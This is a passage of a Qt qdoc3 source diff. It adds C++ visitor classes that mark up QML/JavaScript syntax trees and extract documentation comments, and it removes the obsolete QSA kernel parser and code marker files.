+    QDeclarativeJS::AST::Node::accept(statement->initialiser, this);
+    addVerbatim(statement->inToken);
+    QDeclarativeJS::AST::Node::accept(statement->expression, this);
+    addVerbatim(statement->rparenToken);
+    QDeclarativeJS::AST::Node::accept(statement->statement, this);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LocalForEachStatement *statement)
+{
+    addMarkedUpToken(statement->forToken, QLatin1String("keyword"));
+    addVerbatim(statement->lparenToken);
+    addMarkedUpToken(statement->varToken, QLatin1String("keyword"));
+    QDeclarativeJS::AST::Node::accept(statement->declaration, this);
+    addVerbatim(statement->inToken);
+    QDeclarativeJS::AST::Node::accept(statement->expression, this);
+    addVerbatim(statement->rparenToken);
+    QDeclarativeJS::AST::Node::accept(statement->statement, this);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ContinueStatement *statement)
+{
+    addMarkedUpToken(statement->continueToken, QLatin1String("keyword"));
+    addMarkedUpToken(statement->identifierToken, QLatin1String("name"));
+    addVerbatim(statement->semicolonToken);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::BreakStatement *statement)
+{
+    addMarkedUpToken(statement->breakToken, QLatin1String("keyword"));
+    addMarkedUpToken(statement->identifierToken, QLatin1String("name"));
+    addVerbatim(statement->semicolonToken);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ReturnStatement *statement)
+{
+    addMarkedUpToken(statement->returnToken, QLatin1String("keyword"));
+    QDeclarativeJS::AST::Node::accept(statement->expression, this);
+    addVerbatim(statement->semicolonToken);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::WithStatement *statement)
+{
+    addMarkedUpToken(statement->withToken, QLatin1String("keyword"));
+    addVerbatim(statement->lparenToken);
+    QDeclarativeJS::AST::Node::accept(statement->expression, this);
+    addVerbatim(statement->rparenToken);
+    QDeclarativeJS::AST::Node::accept(statement->statement, this);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseBlock *block)
+{
+    addVerbatim(block->lbraceToken);
+    return true;
+}
+
+void QmlMarkupVisitor::endVisit(QDeclarativeJS::AST::CaseBlock *block)
+{
+    addVerbatim(block->rbraceToken, block->rbraceToken);
+}
+
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::SwitchStatement *statement)
+{
+    addMarkedUpToken(statement->switchToken, QLatin1String("keyword"));
+    addVerbatim(statement->lparenToken);
+    QDeclarativeJS::AST::Node::accept(statement->expression, this);
+    addVerbatim(statement->rparenToken);
+    QDeclarativeJS::AST::Node::accept(statement->block, this);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::CaseClause *clause)
+{
+    addMarkedUpToken(clause->caseToken, QLatin1String("keyword"));
+    QDeclarativeJS::AST::Node::accept(clause->expression, this);
+    addVerbatim(clause->colonToken);
+    QDeclarativeJS::AST::Node::accept(clause->statements, this);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DefaultClause *clause)
+{
+    addMarkedUpToken(clause->defaultToken, QLatin1String("keyword"));
+    addVerbatim(clause->colonToken, clause->colonToken);
+    return true;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::LabelledStatement *statement)
+{
+    addMarkedUpToken(statement->identifierToken, QLatin1String("name"));
+    addVerbatim(statement->colonToken);
+    QDeclarativeJS::AST::Node::accept(statement->statement, this);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::ThrowStatement *statement)
+{
+    addMarkedUpToken(statement->throwToken, QLatin1String("keyword"));
+    QDeclarativeJS::AST::Node::accept(statement->expression, this);
+    addVerbatim(statement->semicolonToken);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Catch *c)
+{
+    addMarkedUpToken(c->catchToken, QLatin1String("keyword"));
+    addVerbatim(c->lparenToken);
+    addMarkedUpToken(c->identifierToken, QLatin1String("name"));
+    addVerbatim(c->rparenToken);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::Finally *f)
+{
+    addMarkedUpToken(f->finallyToken, QLatin1String("keyword"));
+    QDeclarativeJS::AST::Node::accept(f->statement, this);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::TryStatement *statement)
+{
+    addMarkedUpToken(statement->tryToken, QLatin1String("keyword"));
+    QDeclarativeJS::AST::Node::accept(statement->statement, this);
+    QDeclarativeJS::AST::Node::accept(statement->catchExpression, this);
+    QDeclarativeJS::AST::Node::accept(statement->finallyExpression, this);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionExpression *expression)
+{
+    addMarkedUpToken(expression->functionToken, QLatin1String("keyword"));
+    addMarkedUpToken(expression->identifierToken, QLatin1String("name"));
+    addVerbatim(expression->lparenToken);
+    QDeclarativeJS::AST::Node::accept(expression->formals, this);
+    addVerbatim(expression->rparenToken);
+    addVerbatim(expression->lbraceToken);
+    QDeclarativeJS::AST::Node::accept(expression->body, this);
+    addVerbatim(expression->rbraceToken);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FunctionDeclaration *declaration)
+{
+    addMarkedUpToken(declaration->functionToken, QLatin1String("keyword"));
+    addMarkedUpToken(declaration->identifierToken, QLatin1String("name"));
+    addVerbatim(declaration->lparenToken);
+    QDeclarativeJS::AST::Node::accept(declaration->formals, this);
+    addVerbatim(declaration->rparenToken);
+    addVerbatim(declaration->lbraceToken);
+    QDeclarativeJS::AST::Node::accept(declaration->body, this);
+    addVerbatim(declaration->rbraceToken);
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::FormalParameterList *list)
+{
+    addVerbatim(list->commaToken);
+    addMarkedUpToken(list->identifierToken, QLatin1String("name"));
+    return false;
+}
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::DebuggerStatement *statement)
+{
+    addVerbatim(statement->debuggerToken);
+    addVerbatim(statement->semicolonToken);
+    return true;
+}
+
+// Elements and items are represented by UiObjectDefinition nodes.
+
+bool QmlMarkupVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition)
+{
+    QHash<QString, QString> attributes;
+    addMarkedUpToken(definition->qualifiedTypeNameId->identifierToken, QLatin1String("type"));
+    QDeclarativeJS::AST::Node::accept(definition->initializer, this);
+    return false;
+}
+
+QT_END_NAMESPACE
diff --git a/tools/qdoc3/qmlmarkupvisitor.h b/tools/qdoc3/qmlmarkupvisitor.h
new file mode 100644
index 0000000..709a858
--- /dev/null
+++ b/tools/qdoc3/qmlmarkupvisitor.h
@@ -0,0 +1,182 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QMLVISITOR_H
+#define QMLVISITOR_H
+
+#include <QString>
+#include "private/qdeclarativejsastvisitor_p.h"
+#include "node.h"
+#include "tree.h"
+
+QT_BEGIN_NAMESPACE
+
+class QmlMarkupVisitor : public QDeclarativeJS::AST::Visitor
+{
+public:
+    enum ExtraType{
+        Comment,
+        Pragma
+    };
+
+    QmlMarkupVisitor(const QString &code,
+                     const QList<QDeclarativeJS::AST::SourceLocation> &pragmas,
+                     QDeclarativeJS::Engine *engine);
+    virtual ~QmlMarkupVisitor();
+
+    QString markedUpCode();
+
+    virtual bool visit(QDeclarativeJS::AST::UiImport *);
+    virtual void endVisit(QDeclarativeJS::AST::UiImport *);
+
+    virtual bool visit(QDeclarativeJS::AST::UiPublicMember *);
+    virtual bool visit(QDeclarativeJS::AST::UiObjectDefinition *);
+
+    virtual bool visit(QDeclarativeJS::AST::UiObjectInitializer *);
+    virtual void endVisit(QDeclarativeJS::AST::UiObjectInitializer *);
+
+    virtual bool visit(QDeclarativeJS::AST::UiObjectBinding *);
+    virtual bool visit(QDeclarativeJS::AST::UiScriptBinding *);
+    virtual bool visit(QDeclarativeJS::AST::UiArrayBinding *);
+    virtual bool visit(QDeclarativeJS::AST::UiArrayMemberList *);
+    virtual bool visit(QDeclarativeJS::AST::UiQualifiedId *);
+
+    virtual bool visit(QDeclarativeJS::AST::UiSignature *);
+    virtual void endVisit(QDeclarativeJS::AST::UiSignature *);
+
+    virtual bool visit(QDeclarativeJS::AST::UiFormal *);
+    virtual bool visit(QDeclarativeJS::AST::ThisExpression *);
+    virtual bool visit(QDeclarativeJS::AST::IdentifierExpression *);
+    virtual bool visit(QDeclarativeJS::AST::NullExpression *);
+    virtual bool visit(QDeclarativeJS::AST::TrueLiteral *);
+    virtual bool visit(QDeclarativeJS::AST::FalseLiteral *);
+    virtual bool visit(QDeclarativeJS::AST::NumericLiteral *);
+    virtual bool visit(QDeclarativeJS::AST::StringLiteral *);
+    virtual bool visit(QDeclarativeJS::AST::RegExpLiteral *);
+    virtual bool visit(QDeclarativeJS::AST::ArrayLiteral *);
+
+    virtual bool visit(QDeclarativeJS::AST::ObjectLiteral *);
+    virtual void endVisit(QDeclarativeJS::AST::ObjectLiteral *);
+
+    virtual bool visit(QDeclarativeJS::AST::ElementList *);
+    virtual bool visit(QDeclarativeJS::AST::Elision *);
+    virtual bool visit(QDeclarativeJS::AST::PropertyNameAndValueList *);
+    virtual bool visit(QDeclarativeJS::AST::ArrayMemberExpression *);
+    virtual bool visit(QDeclarativeJS::AST::FieldMemberExpression *);
+    virtual bool visit(QDeclarativeJS::AST::NewMemberExpression *);
+    virtual bool visit(QDeclarativeJS::AST::NewExpression *);
+    virtual bool visit(QDeclarativeJS::AST::ArgumentList *);
+    virtual bool visit(QDeclarativeJS::AST::PostIncrementExpression *);
+    virtual bool visit(QDeclarativeJS::AST::PostDecrementExpression *);
+    virtual bool visit(QDeclarativeJS::AST::DeleteExpression *);
+    virtual bool visit(QDeclarativeJS::AST::VoidExpression *);
+    virtual bool visit(QDeclarativeJS::AST::TypeOfExpression *);
+    virtual bool visit(QDeclarativeJS::AST::PreIncrementExpression *);
+    virtual bool visit(QDeclarativeJS::AST::PreDecrementExpression *);
+    virtual bool visit(QDeclarativeJS::AST::UnaryPlusExpression *);
+    virtual bool visit(QDeclarativeJS::AST::UnaryMinusExpression *);
+    virtual bool visit(QDeclarativeJS::AST::TildeExpression *);
+    virtual bool visit(QDeclarativeJS::AST::NotExpression *);
+    virtual bool visit(QDeclarativeJS::AST::BinaryExpression *);
+    virtual bool visit(QDeclarativeJS::AST::ConditionalExpression *);
+    virtual bool visit(QDeclarativeJS::AST::Expression *);
+
+    virtual bool visit(QDeclarativeJS::AST::Block *);
+    virtual void endVisit(QDeclarativeJS::AST::Block *);
+
+    virtual bool visit(QDeclarativeJS::AST::VariableStatement *);
+    virtual bool visit(QDeclarativeJS::AST::VariableDeclarationList *);
+    virtual bool visit(QDeclarativeJS::AST::VariableDeclaration *);
+    virtual bool visit(QDeclarativeJS::AST::EmptyStatement *);
+    virtual bool visit(QDeclarativeJS::AST::ExpressionStatement *);
+    virtual bool visit(QDeclarativeJS::AST::IfStatement *);
+    virtual bool visit(QDeclarativeJS::AST::DoWhileStatement *);
+    virtual bool visit(QDeclarativeJS::AST::WhileStatement *);
+    virtual bool visit(QDeclarativeJS::AST::ForStatement *);
+    virtual bool visit(QDeclarativeJS::AST::LocalForStatement *);
+    virtual bool visit(QDeclarativeJS::AST::ForEachStatement *);
+    virtual bool visit(QDeclarativeJS::AST::LocalForEachStatement *);
+    virtual bool visit(QDeclarativeJS::AST::ContinueStatement *);
+    virtual bool visit(QDeclarativeJS::AST::BreakStatement *);
+    virtual bool visit(QDeclarativeJS::AST::ReturnStatement *);
+    virtual bool visit(QDeclarativeJS::AST::WithStatement *);
+
+    virtual bool visit(QDeclarativeJS::AST::CaseBlock *);
+    virtual void endVisit(QDeclarativeJS::AST::CaseBlock *);
+
+    virtual bool visit(QDeclarativeJS::AST::SwitchStatement *);
+    virtual bool visit(QDeclarativeJS::AST::CaseClause *);
+    virtual bool visit(QDeclarativeJS::AST::DefaultClause *);
+    virtual bool visit(QDeclarativeJS::AST::LabelledStatement *);
+    virtual bool visit(QDeclarativeJS::AST::ThrowStatement *);
+    virtual bool visit(QDeclarativeJS::AST::TryStatement *);
+    virtual bool visit(QDeclarativeJS::AST::Catch *);
+    virtual bool visit(QDeclarativeJS::AST::Finally *);
+    virtual bool visit(QDeclarativeJS::AST::FunctionDeclaration *);
+    virtual bool visit(QDeclarativeJS::AST::FunctionExpression *);
+    virtual bool visit(QDeclarativeJS::AST::FormalParameterList *);
+    virtual bool visit(QDeclarativeJS::AST::DebuggerStatement *);
+
+protected:
+    QString protect(const QString &string);
+
+private:
+    typedef QHash<QString, QString> StringHash;
+    void addExtra(quint32 start, quint32 finish);
+    void addMarkedUpToken(QDeclarativeJS::AST::SourceLocation &location,
+                          const QString &text,
+                          const StringHash &attributes = StringHash());
+    void addVerbatim(QDeclarativeJS::AST::SourceLocation first,
+                     QDeclarativeJS::AST::SourceLocation last = QDeclarativeJS::AST::SourceLocation());
+    QString sourceText(QDeclarativeJS::AST::SourceLocation &location);
+
+    QDeclarativeJS::Engine *engine;
+    QList<ExtraType> extraTypes;
+    QList<QDeclarativeJS::AST::SourceLocation> extraLocations;
+    QString source;
+    QString output;
+    quint32 cursor;
+    int extraIndex;
+};
+
+QT_END_NAMESPACE
+
+#endif
diff --git a/tools/qdoc3/qmlvisitor.cpp b/tools/qdoc3/qmlvisitor.cpp
new file mode 100644
index 0000000..9295624
--- /dev/null
+++ b/tools/qdoc3/qmlvisitor.cpp
@@ -0,0 +1,221 @@
+/****************************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QFileInfo>
+#include <QStringList>
+#include <QtGlobal>
+#include "private/qdeclarativejsast_p.h"
+#include "private/qdeclarativejsastfwd_p.h"
+#include "private/qdeclarativejsengine_p.h"
+
+#include "node.h"
+#include "qmlvisitor.h"
+
+QT_BEGIN_NAMESPACE
+
+QmlDocVisitor::QmlDocVisitor(const QString &filePath, const QString &code,
+                       QDeclarativeJS::Engine *engine, Tree *tree, QSet<QString> &commands)
+{
+    this->filePath = filePath;
+    this->name = QFileInfo(filePath).baseName();
+    document = code;
+    this->engine = engine;
+    this->tree = tree;
+    this->commands = commands;
+    current = tree->root();
+}
+
+QmlDocVisitor::~QmlDocVisitor()
+{
+}
+
+QDeclarativeJS::AST::SourceLocation QmlDocVisitor::precedingComment(unsigned offset) const
+{
+    QDeclarativeJS::AST::SourceLocation currentLoc;
+
+    foreach (const QDeclarativeJS::AST::SourceLocation &loc, engine->comments()) {
+        if (loc.begin() > lastEndOffset && loc.end() < offset)
+            currentLoc = loc;
+        else
+            break;
+    }
+    if (currentLoc.isValid()) {
+        QString comment = document.mid(currentLoc.offset, currentLoc.length);
+        if (comment.startsWith("!") || comment.startsWith("*"))
+            return currentLoc;
+    }
+
+    return QDeclarativeJS::AST::SourceLocation();
+}
+
+void QmlDocVisitor::applyDocumentation(QDeclarativeJS::AST::SourceLocation location,
+                                    Node *node)
+{
+    QDeclarativeJS::AST::SourceLocation loc = precedingComment(location.begin());
+
+    if (loc.isValid()) {
+        QString source = document.mid(loc.offset, loc.length);
+        if (source.startsWith(QLatin1String("!")) ||
+            (source.startsWith(QLatin1String("*")) &&
+             source[1] != QLatin1Char('*'))) {
+
+            Location start(filePath);
+            start.setLineNo(loc.startLine);
+            start.setColumnNo(loc.startColumn);
+            Location finish(filePath);
+            finish.setLineNo(loc.startLine);
+            finish.setColumnNo(loc.startColumn);
+
+            Doc doc(start, finish, source.mid(1), commands);
+            node->setDoc(doc);
+        }
+    }
+}
+
+/*!
+    Visits element definitions, recording them in a tree structure.
+*/
+bool QmlDocVisitor::visit(QDeclarativeJS::AST::UiObjectDefinition *definition)
+{
+    QString type = definition->qualifiedTypeNameId->name->asString();
+
+    if (current->type() == Node::Namespace) {
+        QmlClassNode *component = new QmlClassNode(current, name, 0);
+        component->setTitle(QLatin1String("QML ") + name + QLatin1String(" Component"));
+
+        QmlClassNode::addInheritedBy(type, component);
+        component->setLink(Node::InheritsLink, type, type);
+
+        applyDocumentation(definition->firstSourceLocation(), component);
+
+        current = component;
+    }
+
+    return true;
+}
+
+void QmlDocVisitor::endVisit(QDeclarativeJS::AST::UiObjectDefinition *definition)
+{
+    lastEndOffset = definition->lastSourceLocation().end();
+}
+
+bool QmlDocVisitor::visit(QDeclarativeJS::AST::UiImportList *imports)
+{
+    // Note that the imports list can be traversed by iteration to obtain
+    // all the imports in the document at once, having found just one:
+    // *it = imports; it; it = it->next
+
+    QString module = document.mid(imports->import->fileNameToken.offset,
+                                  imports->import->fileNameToken.length);
+    QString version = document.mid(imports->import->versionToken.offset,
+                                   imports->import->versionToken.length);
+    importList.append(QPair<QString, QString>(module, version));
+
+    return true;
+}
+
+/*!
+    Visits public member declarations, such as signals and properties.
+    These only include custom signals and properties.
+*/
+bool QmlDocVisitor::visit(QDeclarativeJS::AST::UiPublicMember *member)
+{
+    switch (member->type) {
+    case QDeclarativeJS::AST::UiPublicMember::Signal:
+    {
+        if (current->type() == Node::Fake) {
+            QmlClassNode *qmlClass = static_cast<QmlClassNode *>(current);
+            if (qmlClass) {
+
+                QString name = member->name->asString();
+                FunctionNode *qmlSignal = new FunctionNode(Node::QmlSignal, current, name, false);
+
+                QList<Parameter> parameters;
+                for (QDeclarativeJS::AST::UiParameterList *it = member->parameters; it; it = it->next) {
+                    if (it->type && it->name)
+                        parameters.append(Parameter(it->type->asString(), "", it->name->asString()));
+                }
+
+                qmlSignal->setParameters(parameters);
+                applyDocumentation(member->firstSourceLocation(), qmlSignal);
+            }
+        }
+        break;
+    }
+    case QDeclarativeJS::AST::UiPublicMember::Property:
+    {
+        QString type = member->memberType->asString();
+        QString name = member->name->asString();
+
+        if (current->type() == Node::Fake) {
+            QmlClassNode *qmlClass = static_cast<QmlClassNode *>(current);
+            if (qmlClass) {
+
+                QString name = member->name->asString();
+                QmlPropGroupNode *qmlPropGroup = new QmlPropGroupNode(qmlClass, name, false);
+                if (member->isDefaultMember)
+                    qmlPropGroup->setDefault();
+                QmlPropertyNode *qmlPropNode = new QmlPropertyNode(qmlPropGroup, name, type, false);
+                qmlPropNode->setWritable(!member->isReadonlyMember);
+                applyDocumentation(member->firstSourceLocation(), qmlPropNode);
+            }
+        }
+        break;
+    }
+    default:
+        return false;
+    }
+
+    //current->doc = precedingComment(member->firstSourceLocation().begin());
+    return true;
+}
+
+void QmlDocVisitor::endVisit(QDeclarativeJS::AST::UiPublicMember *definition)
+{
+    lastEndOffset = definition->lastSourceLocation().end();
+}
+
+bool QmlDocVisitor::visit(QDeclarativeJS::AST::IdentifierPropertyName *idproperty)
+{
+    return true;
+}
+
+QT_END_NAMESPACE
diff --git a/tools/qdoc3/cpptoqsconverter.h b/tools/qdoc3/qmlvisitor.h
index a60d6a5..9da2c72 100644
--- a/tools/qdoc3/cpptoqsconverter.h
+++ b/tools/qdoc3/qmlvisitor.h
@@ -39,48 +39,46 @@
 **
 ****************************************************************************/
 
-/*
-  cpptoqsconverter.h
-*/
-
-#ifndef CPPTOQSCONVERTER_H
-#define CPPTOQSCONVERTER_H
-
-#include <qregexp.h>
+#ifndef QMLVISITOR_H
+#define QMLVISITOR_H
 
+#include <QString>
+#include "private/qdeclarativejsastvisitor_p.h"
+#include "node.h"
 #include "tree.h"
 
 QT_BEGIN_NAMESPACE
 
-class CppToQsConverter
+class QmlDocVisitor : public QDeclarativeJS::AST::Visitor
 {
 public:
-    CppToQsConverter() { }
+    QmlDocVisitor(const QString &filePath, const QString &code,
+               QDeclarativeJS::Engine *engine, Tree *tree, QSet<QString> &commands);
+    virtual ~QmlDocVisitor();
+
+    bool visit(QDeclarativeJS::AST::UiImportList *imports);
+
+    bool visit(QDeclarativeJS::AST::UiObjectDefinition *definition);
+    void endVisit(QDeclarativeJS::AST::UiObjectDefinition *definition);
 
-    ClassNode *findClassNode( Tree *qsTree, const QString& qtName );
-    QString convertedDataType( Tree *qsTree, const QString& leftType,
-			       const QString& rightType = "" );
-    QString convertedCode( Tree *qsTree, const QString& code,
-			   const QSet<QString>& classesWithNoQ );
+    bool visit(QDeclarativeJS::AST::UiPublicMember *member);
+    void endVisit(QDeclarativeJS::AST::UiPublicMember *definition);
 
-    static void initialize( const Config& config );
-    static void terminate();
+    bool visit(QDeclarativeJS::AST::IdentifierPropertyName *idproperty);
 
 private:
-    void clearState();
-    QString convertCodeLine( Tree *qsTree, const QStringList& program,
-			     const QString& code,
-			     const QSet<QString>& classesWithNoQ );
-    QString convertComment( Tree *qsTree, const QString& comment,
-			    const QSet<QString>& classesWithNoQ );
-    QString convertExpr( Tree *qsTree, const QString& expr,
-			 const QSet<QString>& classesWithNoQ );
-    void updateDelimDepths( const QString& code );
+    QDeclarativeJS::AST::SourceLocation precedingComment(unsigned offset) const;
+    void applyDocumentation(QDeclarativeJS::AST::SourceLocation location, Node *node);
 
-    static QRegExp qClassRegExp;
-    static QRegExp addressOperatorRegExp;
-    static QRegExp gulbrandsenRegExp;
-    static int tabSize;
+    QDeclarativeJS::Engine *engine;
+    quint32 lastEndOffset;
+    QString filePath;
+    QString name;
+    QString document;
+    QList<QPair<QString, QString> > importList;
+    QSet<QString> commands;
+    Tree *tree;
+    InnerNode *current;
 };
 
 QT_END_NAMESPACE
diff --git a/tools/qdoc3/qsakernelparser.cpp b/tools/qdoc3/qsakernelparser.cpp
deleted file mode 100644
index c7f9e6f..0000000
--- a/tools/qdoc3/qsakernelparser.cpp
+++ /dev/null
@@ -1,186 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-****************************************************************************/
-
-#include <qfile.h>
-
-#include "qsakernelparser.h"
-#include "tokenizer.h"
-#include "tree.h"
-
-QT_BEGIN_NAMESPACE
-
-QsaKernelParser::QsaKernelParser( Tree *cppTree )
-    : cppTre( cppTree )
-{
-}
-
-QsaKernelParser::~QsaKernelParser()
-{
-}
-
-QString QsaKernelParser::language()
-{
-    return "QSA Kernel C++";
-}
-
-QString QsaKernelParser::sourceFileNameFilter()
-{
-    return "*.cpp";
-}
-
-void QsaKernelParser::parseSourceFile( const Location& location,
-				       const QString& filePath,
-				       Tree * /* tree */ )
-{
-    QFile in(filePath);
-    if (!in.open(QIODevice::ReadOnly)) {
-        location.error( tr("Cannot open QSA kernel file '%1'").arg(filePath) );
-        return;
-    }
-
-    Location fileLocation( filePath );
-    Tokenizer fileTokenizer( fileLocation, in );
-    tokenizer = &fileTokenizer;
-    readToken();
-
-    QString ident;
-    QString className;
-    int delimDepth = 0;
-
-    while ( tok != Tok_Eoi ) {
-	if ( tok == Tok_Ident ) {
-	    ident = tokenizer->lexeme();
-	    readToken();
-	    if ( tok == Tok_Gulbrandsen && tokenizer->braceDepth() == 0 &&
-		 tokenizer->parenDepth() == 0 ) {
-		className = ident;
-	    } else if ( ident.startsWith("add") && ident.endsWith("Member") &&
-			tok == Tok_LeftParen ) {
-		bool isProperty = ident.endsWith( "VariableMember" );
-		bool isStatic = ident.startsWith( "addStatic" );
-		bool isWritable = !isStatic;
-
-		readToken();
-		if ( tok == Tok_String ) {
-		    QString member = tokenizer->lexeme();
-		    member = member.mid( 1, member.length() - 2 );
-
-		    readToken();
-		    if ( tok == Tok_Comma )
-			readToken();
-		    if ( tok == Tok_Ident && tokenizer->lexeme() == "QSMember" )
-			readToken();
-		    if ( tok == Tok_LeftParen ) {
-			delimDepth++;
-			readToken();
-		    }
-
-		    while ( tok != Tok_Eoi && tok != Tok_RightParen &&
-			    tok != Tok_Semicolon ) {
-			if ( tok == Tok_Ident ) {
-			    ident = tokenizer->lexeme();
-			    if ( ident == "Custom" ) {
-				isProperty = true;
-			    } else if ( ident == "AttributeNonWritable" ) {
-				isWritable = false;
-			    } else if ( ident == "AttributeStatic" ) {
-				isStatic = true;
-			    }
-			}
-			readToken();
-		    }
-
-		    ClassNode *classe =
-			    (ClassNode *) cppTre->findNode( QStringList(className),
-							    Node::Class );
-		    if ( classe == 0 ) {
-			classe = new ClassNode( cppTre->root(), className );
-			classe->setLocation( tokenizer->location() );
-		    }
-
-		    if ( isProperty ) {
-			PropertyNode *property = new PropertyNode(classe, member);
-			property->setLocation( tokenizer->location() );
-			property->setDataType( "Object" );
-#if 0
-			property->setGetter( member );
-			if ( isWritable ) {
-			    QString setter = member;
-			    setter[0] = setter[0].toUpper();
-			    setter.prepend( "set" );
-			    property->setSetter( setter );
-			}
-#endif
-		    } else {
-			FunctionNode *func = new FunctionNode( classe, member );
-			func->setLocation( tokenizer->location() );
-			func->setAccess( FunctionNode::Public );
-			func->setMetaness( FunctionNode::Slot );
-			if ( member == "toLocaleString" ||
-			     member == "toString" ) {
-			    func->setReturnType( "QString" );
-			} else if ( member == "valueOf" ) {
-			    func->setReturnType( "Object" );
-			} else {
-			    func->setReturnType( "Object" );
-			    func->addParameter( Parameter("...") );
-			}
-			func->setStatic( false ); // ###
-		    }
-		}
-	    }
-	} else {
-	    readToken();
-	}
-    }
-    in.close();
-}
-
-void QsaKernelParser::doneParsingSourceFiles( Tree * /* tree */ )
-{
-}
-
-void QsaKernelParser::readToken()
-{
-    tok = tokenizer->getToken();
-}
-
-QT_END_NAMESPACE
diff --git a/tools/qdoc3/qscodemarker.cpp b/tools/qdoc3/qscodemarker.cpp
deleted file mode 100644
index b53b676..0000000
--- a/tools/qdoc3/qscodemarker.cpp
+++ /dev/null
@@ -1,378 +0,0 @@
-/****************************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
